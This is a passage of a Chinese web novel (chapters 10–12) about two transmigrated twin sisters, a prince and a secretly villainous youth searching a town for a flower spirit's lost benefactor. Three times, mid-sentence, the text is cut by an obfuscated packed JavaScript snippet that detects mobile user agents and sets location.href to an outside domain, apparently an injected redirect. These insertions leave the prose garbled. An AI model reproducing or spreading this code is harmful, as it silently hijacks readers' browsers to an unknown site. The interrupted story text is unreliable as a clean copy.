女子不甘心的看了他身侧的冉云祉姐妹俩,这才发现那边的烛乐,又是害羞地问道:“这位小公子,你也有心悦之人了?” 烛乐捏紧了拳头,侧脸看上去显得惶惑不安,似乎不知道怎么回答,而戴苍却出人意料的捉住烛乐的手腕笑了笑:“不巧,他也有了。” 他的动作太快,在场的人根本没有反应过来,烛乐似乎愣了一瞬,下意识抖了一下,但并没有躲,认命般的站在那,抬头与冉云祉的双眼对视。 那一眼,湿漉漉的眸子里饱含着万般隐忍,万分委屈。 “你是不是弄疼他了?”冉云祉皱眉道。 那女子瞧见这一幕,早就抿着嘴唇跑开了。 冉云祉不知戴苍这个动作的用意。只要是习武之人,不会轻易地让人去碰自己的手腕,只要被擒住了手腕,相当于被钳制住自己的命脉,是很危险的行为。 无论是不是熟悉的人,制止对方的谮越是刻在骨子里的本能。然而烛乐仅仅是因为害怕而颤抖,并没有出手,眼角闪着湿润的光泽,像是不懂戴苍为什么突然这样对他。 戴苍面上还在笑,却凝神悄悄搭上少年的脉搏半晌,其中并未见任何异常,他微微皱起的眉头也开始舒展,跟冉云清交换了一下眼神,用唇语告诉她,“他没有内力,也不像会术法的样子。” 确认了这一点,威胁性便大大降低。戴苍松开了烛乐的手腕。 “你说话就说,抓人家手干嘛,你该不会是……”冉云祉笑嘻嘻地瞧着他,眼神在两个人之间看来看去,越看越觉得这两人都很养眼,她调侃道,“三殿下,你的心悦之人是谁?” 冉云清拍了一下她的头,转移话题:“别乱想。” 可是她的脸已经有些红了。 这边几人说笑着,烛乐低着头,额前垂下的头发遮住了他的眼睛,像被隔绝在圈子外的小兽,可刘海下的眼睛却是刀刃般的锐利。 他在试探他……幸好他没有露馅。 冉云祉知道这两人在关心她,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14268241|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烛乐那样子,萧索凄凉,像不被这个世界接纳一样,游离在他们之外。她突然想起婴灵的际遇,想起婴灵说烛乐也不被人喜欢过,她不由得又是一阵怜惜。 他是不是也在期待着有人来关心自己? “烛乐是个很好的孩子,他如果想对我不利,趁着我高热昏睡的时候,早就把我杀掉了,可是他还费心费力的照顾我。”她走上前,拉了拉他藏在背后的手,将他一起带入这个光明的世界里。 烛乐抬头看着她,心思百转千回,尽是对这个女人的嘲讽。但面上却如平静的水面,没有一丝波动。 “阿祉,你生性单纯,万事留个心眼最好。”冉云清放下心来,“好了,没事就好,我们回山庄吧。” 一听到要回去,冉云祉立马皱成了苦瓜脸,退了几步退到烛乐身后:“等会等会,我不回去,没找到周公子之前我是不会回去的。” 冉云清脸色沉下来,但是那张脸就算是沉着也格外赏心悦目。 “阿祉,莫非你真的想和周公子私奔?” 冉云祉瞪大了眼睛。她一个风华正茂的年轻美少女怎么会想着与一个糟老头子私奔? “啊?”她摸不着头脑,“我怎么会……私奔?” 她的神情不像是演的,冉云清有些尴尬,稍微红了脸嗔怪:“那你为何寻找周公子?” 冉云祉搅着手指头思忖,半天想不出理由。她暂且不知道这一对师兄妹能不能看到花妖的存在,于是又郑重其事的扯了谎,推出烛乐挡枪:“我帮烛乐找人呢。” 一直在默默梳理这几人关系的烛乐还没有彻底习惯烛乐这个名字,直到听到四周安静了下来,才迟钝的抬起头,发现三个人直勾勾的盯着他,冉云祉还在向他挤眉弄眼。 他眼睛眨了眨,满脸疑惑。 “是烛乐要寻周公子?”冉云清逼问。 那一张脸和冉云祉完全一样,却并不如冉云祉爱笑,那双眼睛像能洞察人心底的想法,看起来精明不容易糊弄,说话的时候也显得更为疏离冷淡。 他隔着发丝静静地端详着冉云清,冉云祉轻轻扯了扯他的衣袖,他回头看她偷偷做了个恳求的表情,才轻轻点了头。 “是……” 声音里颇有些底气不足的意味,但她却已经十分欣慰的大力拍在了他的肩胛骨上,觉得这人瘦的可怕,顿时愣在了原地。 冉云清却不会轻易被她欺骗,追问道:“你找人,是为什么?” 他愣住了,偷偷瞄一眼冉云祉,她也正望过来,当即对他调皮的眨眨眼。而后挡在了烛乐面前:“姐姐,这是烛乐的私事,他比较怕生,你这样板着脸会吓到他的。” “怕生”的烛乐听了这话,十分配合的又靠近了她。 他没想到这小家伙撒谎撒的这么熟练,他果然没有看错,她本身就是一个坏家伙。 她一边说一边抓住冉云清的胳膊开始撒娇:“姐姐,善良美丽的姐姐,你忍心看着他留下遗憾吗?不如帮我们一起找找?如果找到了,我保证跟你们回清云山庄!” 她撒娇的功力顺手拈来,像一只小猫似的伸着毛茸茸的爪子,时不时勾一下人,实在可爱的很。冉云清脸上迅速漫上一抹红霞。 “走吧走吧!”她生怕冉云清细想,不由分说,将人拉着往前走,又向身后的两个男人招了招手,示意他们跟上。 10.糖画(二) 下过雨的泽城人影攒动,冉云祉犹如一条灵巧的小鱼奔向了大海。 可不管她怎么问,也没人听说过这个人,就连冉云祉都要怀疑这人是不是已经不在人世。 正当她在思忖之时,有两匹白马呼啸而过。 上面坐着的少年锦帽貂裘,神情散漫地扬着手里的鞭子,看也不看周边的人,像一阵风似的从街道上穿过人潮,扬长而去,只剩下一道尘土在空中静静飘散。 泽城为一偏远小城,多为布衣百姓,这样的人并不多见,众人侧目稀奇地看了一会儿,收回目光回到正轨。 冉云祉的眸子里映照出街道上鲜活的景象,嘴角漾开一抹温柔的浅笑。她喜欢这样人声鼎沸、声色犬马的人间。 此刻的她正咬着果子挤在人群里,蹲在卖糖画的老伯面前看了半晌,才终于排到自己。她笑嘻嘻地付了银子,拨动转盘上的转轮。 指针停留在一个含苞待放的花朵上,冉云清试探着问着:“老伯,做出来花朵的样式可不可以自选呀?” “姑娘想要什么花?”老伯看起来年纪五十上下,板着一张脸,看起来不太好说话的样子。 她歪着脑袋想了想,灵光一闪:“虞美人吧。” 老伯抬头瞧了她一眼,没说话,手上动作却没有止住。 他用左手舀起散发着醇香味道的糖汁,在石板上飞快的浇筑,如同在纸上绘画般行云流水,顷刻之间一朵俏丽的花朵自他手下盛开,甚至连花蕊和花瓣的纹路都做了出来,看的她连连称奇,根本不舍得咬一口。 “阿祉,你在这里做什么?”一道略显无奈的声音响起,原本拥堵的人群自觉绕开了一条路,有人来到她身旁停下。 她们并未在一起长大,这还是第一次出现在外人面前,人群对样貌相同的姐妹俩很是好奇,忍不住多看了几眼。 “阿祉,你是不是在耍我?”冉云清看着手里捏着糖画笑的像个孩童般的冉云祉,轻轻皱眉。 他们几乎把泽城翻了一遍,也没有找到阿祉所说的周公子。 “姐姐,有句话无人插柳柳成荫,这人呐,说不定会自己蹦出来呐。你们累了吗?我请你们吃糖画吧。”她亲切地挽着冉云清的胳膊,在她还未来得及出声阻止的时候,向站在人群之外一红一白的两条人影挥手喊着,“快来这里,有好东西。” 戴苍不急不慢地往这边走着,他动起来的时候,长袍被晚风吹得缓缓纷飞,像蝴蝶的翅膀,随意慵懒。由他作为对比,烛乐远比他走的快的多,扎起的头发在他脑后一晃一晃。 四个人将糖画摊位围成一团,冉云祉大手一挥:“一人一只,多了没有。” “阿祉,你又乱来,别忘了我们还有正事要做。”冉云清伸手在她鼻尖一点,嗔怪一句。 倒是戴苍似乎很有兴趣地盯着这些小东西,轻声说:“没关系,反正我们也闲来无事,难得二小姐请客。我还没见过这小玩意呢,师妹,你呢?” “师兄,你怎么也跟着胡闹?”话虽然这样说,她却不再反对,而烛乐更是没什么意见,在冉云祉投来询问的眼神时,他轻轻点头算是同意。 见大家同意了,冉云祉又开始得寸进尺:“老伯,这个糖画,能不能照着我们的模样做呀?” 老伯意味深长地看她一眼,“可以,只是……” “我懂,我懂,得加钱。”她十分上道地放了更多银子在摊位上,老伯拿起来颠了颠,收在了怀里。 “摆个姿势吧。”他以一副轻松的口吻说道,仿佛无论是怎样画面,在他高超的手艺之下都不是难题。 她想也不想,右手攥成拳,拇指和食指交叠成十字,做了一个在烛乐看来古怪绝伦的姿势,他盯着看了半晌没看出什么名堂来。 ……蠢死了。他十分嫌弃地想。 察觉到他的视线,冉云祉向他眨眨眼:“看我做什么?我脸上没东西。机会难得,你不想做姿势,一会糖画没有你的份啊。” 说完这话,她笑嘻嘻的继续摆着那个动作。 “这个动作倒是有趣,我怎么没见过?”戴苍行走江湖多年,还是一次瞧见这个动作,一手撑着下巴,显得格外好奇。 冉云祉得意地想,你们当然不知道啦,这可是我们那边十分盛行的动作。 站在他身边的冉云清脸色微变,顿了一下解释道:“那个动作是比心,在我们……”她似乎想说什么又改了口,“在我们家乡……是表达喜爱的一个动作。” 冉云祉惊喜的回头,与冉云清两相对望,透过彼此的身体,看到来自另外一个世界的灵魂。 同道中人!这感觉好比漂泊在孤单的城市遇到一个老乡,让她在这个陌生的世界突然感觉到亲切与归属。 “有意思。”戴苍低下头与冉云清商量,“我们也做这个动作吧?” 她扯了扯嘴角,不好意思的点点头。 冉云祉沉浸在他乡遇故知的巨大喜悦中,一回头见烛乐一动不动地盯着他们,她连忙道,“不如我们也……” “我不要这个。”烛乐连连摇头,甚至倒退好几步,态度十分坚决。 这群人犯蠢不要带上他,他对任何事没有喜爱。身穿白衣的少年在心里恶狠狠地想。 像一盆凉水浇下来,热情褪去,她登时就怒了,凶神恶煞道:“你怎么这么不合群?就要这个!我出钱我说了算!” 他孤单倔强地站在那,黄昏拉长了他纤长的影子,一抹无助的感觉包围了他。 怎么莫名有一种欺负老实人的错觉,她的态度弱了下去,“好吧,好吧,不做这个,我教你做一个别的。” 说完来到他身侧,握上他的右手,微微用力将他的四个手指并拢。 “对,手指并拢,弯曲……这里稍弯,很好。” 那抹温暖在他手背稍作停留,将他的手指捏成她想要的形状,复又离开。他似乎没想到她会这样突然靠近,呆呆的望着这个动作愣在原地。 那个人站在他面前,已经退到离他几步远的地方,笑得半分狡黠,半分无辜,晚霞照在她的侧脸,让她看起来一半是救他脱离苦海的神女,一半是引他坠入深渊的魔女。 “这是什么?”他听到自己的声音带了一丝情绪。 “哦……”她看了看他,似乎在确认他是否抗拒这个动作,用左手和他做了一个相反的动作,谎话随手拈来,“这是告诉别人,你很强,别来惹你。” 他才不信:“那你为什么不与他们一样?” “怕你觉得我们三个排挤你,我就勉为其难的陪你吧。”她面不改色地信口胡诌。 同样来自另一个世界的冉云清看着这一幕,嘴角微微上扬。 阿祉这是仗着烛乐不懂故意扯谎骗他,如果他们两个靠在一起,两个动作合起来,不正是一个爱心,不还是“比心”的意思吗? 她心知肚明,但她不会开口。 糖画老人手指灵动地翻飞,栩栩如生的糖画便依次递了出来,画作传神,用糖纸小心的包起来,每一个表情都刻画的像是几人的缩小版本。 冉云祉非常满意,抬手在烛乐的糖画上轻轻弹了一下,笑的不怀好意。 糖画上的烛乐被她弹的摇摇晃晃,似乎眉头都皱在了一起,露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14290649|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极为别扭的模样,可还是委屈的做了这个动作。 她故意将他们两个糖画放在一起在他面前晃:“真好看呀真好看。” 小样,你还不是乖乖做了一个“比心”? 烛乐眸光微闪,他觉得好像落入了她的陷阱,迟疑地问:“那个动作,真的没有别的含义?” 冉云祉义正言辞地轻轻敲了他的脑袋:“当然了,我从来不说谎话。” 他想起刚才这女人在她姐姐面前的谎言,当即露出一脸不可置信的表情,片刻后他垂下头。 这个女人竟然敢戏弄他! “给我。”他伸手去抢,冉云祉赶紧退开,将他的糖画宝贝似的放到怀里去。 他心里憋着一肚子火,却不能发作,转过身去不看她了。心里烦的很,只是在那张十分具有欺骗性的面容上,不会显露他真正的心思。 当时直接把她弄死好了。他面上一片平静,不喜不背,拳头却紧紧捏紧了。如果他捏住的是那人的脖子,此刻她的脖子会被他生生捏断。 眼前突然出现一副糖画,糖纸已经被拆开了,上面裹了浓浓的糖浆,散发出甜香的味道。 烛乐死死盯着糖画瞧,这糖画是那个女人的样子,她做着那个唇动作,咧着嘴,笑的傻里傻气。 “别生气嘛,我把我的给你,来,一口把我吃掉消消气吧。”她半开玩笑的说着,将糖画又往他面前递了递。 她怎么可以笑的这么讨厌?那两个人,为什么也看着这东西笑的那么开心?明明又蠢又难看的动作。 眼下不能把真正的她挫骨扬灰,让她再也不敢在他面前笑的这样放肆,倒是可以让面前的糖画消失。 他微微弯起了嘴角,面无表情地接过来,在冉云祉惊讶的目光中,毫不留情的把糖画的头一口咬掉了。 意外的,许久未尝过的味道,入口即化,香甜的口感在他嘴里蔓延,却不觉得腻,一口甜到了心里。他眸光微顿。 “你真残忍。”冉云祉好不伤感的望着那糖画,这短短的功夫,他们三人的糖画完好无损,结果烛乐接过去一口便咬掉了她的头。 他们三个完好无损,而她,身首分离。 冉云祉悔不当初,早知道就把他自己的糖画给他,让他自己头掉,省的他拿她的糖画撒气。 瞅着冉云祉不爽了,他心里立马涌上了一抹报复得逞的快感,他看看手里残缺的糖画云祉,眼看着那动作都顺眼了不少,心情颇好。 他半垂着眼眸假意道歉:“对不起啊,我一不小心……”他小心翼翼地递过去,“你还要吗?” 要什么要啊,头都没了啊!她恶狠狠的瞪了烛乐一眼。 “不要。”她继续咬着先前的虞美人糖画,戴苍看过来,“咦,是虞美人?” 他像想起来什么似的,“我记得山庄里也有一株很好看的虞美人,是罕见的粉白色呢,原来二小姐喜欢虞美人?” 还未等冉云祉回话,一旁的糖画老伯突然出声,“粉白的虞美人,我记得许多年前见过这么一株……” 下一秒一个身影扑了过来,冉云祉惊喜过望,希望就在眼前,激动地问:“老伯知道花农周公子家在何方吗?” 老伯又奇怪的看了她一眼:“周公子倒是没见过。” 冉云祉立马悻悻地松了手。还以为这次问对人了。 “但,当年倒是有个邹公子以高价卖给了我,那时候他看起来很高兴,说什么马上要当大官了。”老伯徐徐接了一句。 冉云祉:“……” 周公子,邹公子。呵呵。 她干笑几声。 11.糖画(三) 冉云祉推门进来的时候,冉云清还未睡下,透过窗户欣赏窗外的月光。 他们临时找了一家客栈住下,因着团内氛围还不怎么融洽,冉云祉十分豪爽的开了四间房。 屋里的装潢和她那房间并没有什么不同,只是上面早已摆上了青瓷茶具,热气从茶水里升腾出来,显然冉云祉已经等待她多时。 “我知道你会来找我,坐吧。”冉云清示意她坐下,对于彼此的来历心照不宣。 茶水氤氲着香气,夏夜静谧无声,最适合女孩子之间说些悄悄话。 冉云祉也不客气,坐下后盯着这张与自己如今相貌完全一致的脸,就算得知她们来自于同一个世界,冉云清也比她更为沉稳淡定。 她憋了一整天的话终于有机会问出来,一时没有条理,一个个的往外蹦着。 “姐姐在现世也是这个模样么?” “姐姐真名是什么?做什么的?” “姐姐穿来这里时发生了什么……” 冉云清双手叠放,一个问题一个问题的回答:“你慢点问,想知道的,我都会告诉你。” “我的样子和冉云清并不相像,但我的真名也叫冉云清。” 这点与冉云祉的情况完全一样。 “我是一家公司的负责人,回家的时候,刹车失灵,好像撞到了一个人,醒来就是在这里了。”她慢慢的饮了一杯茶,杯子都不晃一下,又问:“你呢?” 冉云祉讪讪:“我被车撞了……” 冉云清听到这里抱歉地笑了笑:“怨我吗?” “咱们俩无冤无仇的,你应该也不是故意的。”想这些也没什么用,人已经在这里了,干嘛要纠结这些让自己不痛快。她转移话题,“我比你小,我今年刚毕业,工作两个月了!所以,我还是叫你姐姐。” “怪不得,你的身上,还带着大学生清澈的愚蠢。” 冉云祉扯出一个笑容:“很明显吗?” “在这个陌生的世界,你又身怀神物,不会不知道自己的处境吧?可是,你却将那个少年带在身边。” 窗外的树影在她眼中投下明明灭灭的斑驳,她的眼睛里带着冉云祉触不到的成熟与深沉,眼眸闪过一丝锐利的光芒:“你怎么知道身边的人会不会害你?” 烛乐会害我吗?她脑海里浮现出少年怯生生望着她的模样,有些踌躇:“我这样相信人,是不是很不好?” 不要随便在外面捡男人,她一个没忍住,还是把人捡了回来。 “你这个年纪,一腔热血一往无前,并没有不好。像我这个年纪,做事情瞻前顾后,会采取最保险稳妥的方式解决问题,有时会有很多遗憾。” 她们两个之间原本隔着巨大的横沟,因为两个人有了同样的秘密,冉云祉再看时,她的眉眼也显得格外的亲切。 “对了,说起这个——”冉云祉身体前倾,正色道:“系统在姐姐那吧?这个狗系统一点也不靠谱,说把我送回去,结果我差一点就被反派杀了啊。还有没有什么办法把我送回去?” “我早就问过了。”冉云清歉意一笑,“系统告诉了我之前的乌龙事件,它确实是把你送回去了,可是你和这个世界有了一丝连接,冥冥之中好像有什么力量阻止你离开,所以你回不去。” 和这个世界有了连接? 她皱着眉头想了半天,一个念头油然而生:“是灵泉玉!” 因为灵泉玉莫名其妙的认定了她,那东西不属于她们那边的世界,所以她才无法回去。 “我们猜测是这样。”冉云清点点头,“你如果真的想回去,就斩断和它的连接,系统就能将你送回去。” 但她随即又皱着眉说道:“只是,眼下我们没有找到方式让灵泉玉和你分开的方式,系统也不知道。” “……” 这意思不就是要她去死吗? “或者完成任务,不受这个世界的约束,你我都能回去。”冉云清又补充道。 可是,不论是拿到四个神物,或者是杀掉无乐门主,哪一个任务看起来无比艰难。寻找神物不必说,单凭无乐门主作为这个世界的反派,杀掉他可能比拿齐神物更难。 她的生路彻底被堵死,顿觉人生无望。 “真的没有第三种方式吗?”她露出一个苦大仇深的表情,连带着茶水到嘴里也是苦涩的味道。 冉云清喝茶的动作一顿,有些犹豫:“嗯……有吧?” 连她都不太确定了。 冉云祉活过来:“是什么?” “感化无乐门主。”冉云清迟疑着说出自己的想法,“系统给出这两个任务的目的无非是阻止无乐门主毁掉这个世界,只要他放下仇恨,任务应该能完成了。” “姐姐!你受点累,感化他吧!”冉云祉满怀希望的看着她。 冉云清笑了笑:“我不是说了吗,比起一条不确定的路,我会选用最稳妥的方式。” 这倒也是,这个选项比那两条路更难,冉云祉也不相信那老东西能被感化。斩草除根,只要最大的源头不在,世界就不会毁灭了。 “死定了……”冉云祉摊在椅子上,看着窗外的月亮怎么看怎么忧伤,“关于无乐门主,姐姐还知道多少情报?” “除了他是个穷凶恶极的反派之外,和戴苍知道的差不多。对了,关于这个世界的走向,系统也没有告诉我。” “但它给了我一个辅助功能,只要无乐门主在系统感应范围内,我便能得知他的具体方位。”冉云清想了想,还是决定安慰一下她,“他受的伤很严重,一段时间不能来兴风作浪,这点你放心。” “他破阵时受的伤还没有好全,还无休止的想入清云山庄,每一次我提前察觉到他的位置带人伏击,虽然他狡诈地逃走了,但浑身上下没有一处是好地方。” 她确实是下了死手的,可最大反派哪里那么容易打败。估计无乐门主也不能理解为什么每次这群人都能精准的预见他的行动。 她正说着话,完全没想到冉云祉紧紧抓住她的衣袖,眼神像看到救星一般:“姐姐,不,你是我唯一的姐!我的小命就靠你了,从今天开始,我们不要分开好不好?” 只要抱紧救世主的大腿,她还怕什么无乐门主? “那个系统终于办了件人事,我再也不骂它了。” “……” 冉云清一怔,不好意思道:“就凭我的车撞了你,我也一定会帮你。 “撞的好撞的好!”她激动到语无伦次,这回气势足了,“还有,姐姐喜欢三殿下吧?作为亲妹妹,我同意这门亲事!” 两个人双重保护,她更不怕无乐门主了。 谁知提到戴苍的时候,冉云清的脸色明显暗淡了下来。 冉云祉不解地问:“怎么了,你们不是两情相悦吗?” “因为我不是原来的冉云清,他口中的云清师妹不是我。”她叹了一口气,很是惆怅,“我也不知道我对他的在意是因为原身,还是我自己心动。我拥有冉云清的记忆,可我终归不是她,我不想骗他,因此我不能回应他。” 那样确实有点难办了……一直欺骗下去,对戴苍也不公平呀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14314499|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不会安慰人,急得抓耳挠腮,半晌才笨拙地出了个馊主意:“姐姐,天涯何处无芳草,这个世界帅哥那么多,大不了……”她脑袋一转,突然想到了什么,眼睛一亮,“你看看烛乐怎么样?” 先前她就已经将烛乐的来历告诉了他们两人,她想了想,烛乐的模样不比戴苍差。 他们两个人的气质不同。戴苍清风朗月,慵懒随性,他格外喜欢艳丽的衣服,日日穿的花枝招展,一生未曾经历过磨难,给人可靠又不可靠的感觉。 而烛乐似乎因为过往的经历,寒痛仿佛深入骨髓般,轻易不能对人敞开心扉,他虽然也会笑,可是笑意轻易不达眼底。 “虽然姐姐你可能还不喜欢这一款,养一养就好了,烛乐还小,男大十八变嘛。” 她拍着胸脯保证,冉云清被她逗笑了,撑着下巴凝视她:“我来问你,你真的是因为帮烛乐找邹公子才下山的?” 两人开诚布公说了很多,冉云祉也不瞒着她:“当然不是,他神色落寞,心里藏着不知道多少心事,我也不想逼问他之前的事。实不相瞒,我是想帮花圃里的虞美人试着找一下她的救命恩人,她每天哭的我头都要炸了。” 她摆出了一个哭丧脸,冉云清有些惊讶:“你也能看到它们?” 按理说,只有修炼多年的术士能看到妖怪,这个年限至少十年,当然不乏天资聪颖的人生来就有这个天分,连她都是拜原身的修炼方能看见。 “大概是灵泉玉的作用吧,我能够看到一些小妖怪。”她压低了声音,指着客栈外。 晚风吹拂,月光正照在随风响动的树上,蝉鸣声声,蛙鸣阵阵,不时送来花草的香气,不知有多少精怪陷入了梦里。但这副岁月静好的模样,落在冉云祉眼中确是另一方天地。 “外面刚刚走过了一群赤着脚的小妖怪,偷偷抱了一些食物离开,稍远的树上坐着一个奇怪的鸟类少年,懒洋洋的晒着月亮。还有——” 她又讲起之前没有告诉过她们的事情:“昨天下雨的时候我见到了一个怨气所化的孩子,他告诉我被村里的人认为是不祥之人,活生生烧死,还差点将烛乐带走。” 冉云清静静地听着她描绘的精彩世界,这些在她来到这个世界时也能看到的妖物,可她也只是新奇了一瞬,便被任务拘束着并没有细细去看。 但是就算她见了,她也不会想着去帮这些小生灵吧。 一颗心在职场多年,尔虞我诈,心也就变得麻木。 “寻常人看不了他们,他们也是很孤独的,我就想着帮帮他们。”少女清脆的声音还回荡在耳边,在夏夜变得格外清晰。 “所以,姐姐说我清澈的愚蠢,说的也对。” 因为她始终对这个世界怀着一颗敬畏的心,无论人或者是妖。 “你和我们很不一样。这或许是属于你的奇遇。”冉云清笑了笑,“我支持你找邹公子。” “嗯,明天就能见到了。”今天的糖画老人告诉他们邹公子在平里镇,与这里六七里地,但也说了一句希望他们不要失望。总之,他们决定今晚休整一下,明天便可以见到虞美人挂念了几十年的邹公子。 她真的很期待那是个什么样的人,又在脑补这一对阔别多年的人与妖相见会是什么感人的场景。 情报互通完毕,冉云祉又想起一事:“对了,三殿下呢?” “啊……他还是不太放心烛乐的来历,去试探烛乐了。”冉云清回答,“他行走江湖多了,不容易相信人,我也觉得烛乐很奇怪。阿祉,你最好不要与他走的太近。” 12.糖画(四) 空气里散发着淡淡甜腻的气息,引人回想甜蜜的过往。夜渐渐深了,那些人回到了自己房间去,一时半会不会来打扰他。 他没有多少美好的回忆,心里自然不会有一分动容。 烛乐将糖画摆在桌子上细细端详着,此刻他已无需假意迎合,眉眼里一丝情绪都没有,让人猜不透这个面容清瘦的少年在想些什么。 原本清晰的糖画渐渐融化,凭借模糊的沟壑稍微能辨别出那个奇怪的手势。这个手势究竟是什么意思?还有他们为何总能知道他的行踪?他百思不得其解。 末了,他不再思考这些无关紧要的小事,随手将糖画像垃圾一般扔掉。 他已经很久没有用自己的真面目示人了,这副皮囊好就好在生了一张纯净无害的脸,最容易勾起别人的怜惜,方便他接下来的行动。 他最厌恶的懦弱无能的脸,如今却要利用它,他不由得发出一声冷笑。 门外有脚步声响动,他的嘴角动了动,脸上的表情立刻鲜活起来。 “烛乐,你睡了吗?”慵懒肆意的声音响起。 “尚未。” “那我进来了。”那抹暗金色的影子大步流星的走进来,将手里的东西放在桌子上,掀了衣摆,优雅地翘起腿随意的坐下。 这是当朝的三皇子,风光霁月,鲜衣怒马少年郎,怀着多少民众的景仰与父母的期盼而降生在这个世界,生来便尊贵的他,拜入灵泾道长门下,他的起点是多少人终其一生无法到达的远方。 他以惩恶扬善为己任,手持一把斩尽世间邪恶的长风剑,一道张扬的影子如蛟龙游走于世间,荡尽魑魅魍魉,天下何人不知其名讳? 念起两人第一次交手,他也没有在戴苍手里讨到半分好处。 “烛乐小兄弟,今日多有得罪,还望海涵。”他特意备了酒,又让小二备了几碟小菜,将酒壶里的酒水倒在杯中。 烛乐沉默地看着他的动作,盯着那些酒水,眸光微顿。 “来,饮了这杯酒,一笑泯恩仇。”戴苍豪爽地举杯,然而烛乐却并没有接。 戴苍笑道,眸光却划过一抹稍加掩饰的锋芒:“怎么了?” 烛乐拧着眉心看着杯中酒,那味道勾起了他一些不好的回忆,他摇头拒绝:“我不会喝酒。” “酒是个好东西,只要你喝一次,就会爱上这种滋味。”戴苍将酒杯往他面前推了推,满眼笑意,“来,尝尝吧。” “来,尝尝吧。”男人将杯盏递给少年,满脸堆着笑意,在他身侧站着许多人,每个人的表情都如出一辙。 少年浅笑,眼里神采飞扬:“晚辈不会饮酒,若有机会,一定与诸位前辈畅饮一番。” “一杯而已,就当是为你奔赴前程的祝愿,愿你前路顺畅。”男人执意举着酒杯,“这寓意好啊,莫要推辞。” “对啊,饮了这杯酒,来日扬名立万不要忘了我们。”他人笑着附和,一双双手举着杯盏向他递过来。 然后呢? “那晚辈就却之不恭了。” 他确实是饮下了那杯酒,转身轻衣快马,江湖年少,凭着一腔热血,自以为未来皆在脚下,却不知这是一条他们为他设下的死局。 可笑。 闭上眼,他还能清晰地感觉到闪着寒光的匕首一寸寸破开他纯白似雪的衣襟,搅动里面的血肉,将筋骨一根根毁掉的痛楚。 他被关在暗无天日的牢笼里,被灌了一坛又一坛劣质的酒水,亦或是浇在他鲜血淋漓的伤口上,酒水混着血水一齐钻入土地,空气里都是令人作呕的糜烂恶臭。 那群人狞笑着将他踩在脚底下,强迫着他如丧家之犬一般匍匐在地,肆无忌惮地伤害如今这个无法还手的白衣少年。 他抬眼愤恨地盯着他们,像把每一个人牢牢记在心底。 “这种无能的眼神,你在看谁?” “之前不是很嚣张吗?如今还不是像条狗狼狈地一样跪在我的脚底。” 酒精麻痹着大脑,让他的思维陷入迟钝,而酒精又灼烧着他的伤口,逼迫着他的理智维持清醒。 生平最爱干净的他沾染上他最厌恶的污垢,犹如这辈子都无法摆脱的阴影。酒水与血腥味混在一起,让他痛苦地咬牙问道:“为什么?” 因为一个可笑又荒唐的理由。 每每回想,他的戾气总是不受控制的上涌,屋内烛火忽明忽暗,与暗牢里阴森恐怖的烛火几度重合。 眼前的景象也失去了色彩,无边的黑暗笼罩着他。 好想毁掉眼前的一切……他的脸褪去了血色,白皙的手臂之下青筋爆起,他的手指不自觉捏紧了,像是要把骨头捏碎一般。 “你们竟然在这里偷吃夜宵!”少女清甜的声音响起,他的理智稍微回来一些,缓缓睁开眼,眼前月朗风清,少女穿一身粉白对襟襦裙,携一缕清风坐于他身侧,将一盆洗好的荔枝往桌子上一放,“亏我还好心给你们送荔枝来,结果你们这已经有更好的东西了。” 那缕一直舔舐着他周身的污浊味道不见,那些人肮脏嘲弄的话语渐渐远去了。鼻尖萦绕着清新的荔枝香气,耳边是男女鲜活的对话。 “这怎么能算偷吃,男人之间聊聊感情不是很正常吗?”戴苍无辜一笑。 “大半夜聊感情?”冉云祉笑了笑,意有所指,“难道是我想的那种感情?” 戴苍仿佛被噎了一记:“二小姐莫要胡说。” 烛乐默默看着这一双男女说笑,心里想的是这女子怎么这么不懂男女有别,大半夜闯进男子的房间,全然没有一点羞耻之心。 冷不防感觉嘴唇一凉,他瞳孔一缩,呆呆的咬住她剥好递来的荔枝。 果肉清甜,中和掉他口中不知何时泛上来的苦涩,连同烦躁的心也一点点被安抚下来,他的眼神一点点恢复清明,脑海里那些不堪的画面被清新温柔的荔枝取代,他的世界重新恢复温度。 “好吃吧?这可是我从小二手里抢来的。”她洋洋得意,粉白衣袖挥动,自己剥了个荔枝塞到口中。 戴苍吃惊:“抢?” “我给了银子的。”冉云祉说完,看着一动未动的菜肴,“正好我也饿了,我吃一点,不过分吧?你们继续,无视我就好。” 眼看她风卷残云般开始吃东西,戴苍几乎说不出话,先前的话题被她中断,再待下去也不好进行套话,今日只能点到即止,戴苍起身告辞。 屋里只剩下烛乐和冉云祉两个人,烛乐怀着心事的吃着菜,不时侧过脸看身边的她。 她见了吃的,完全没有一点自 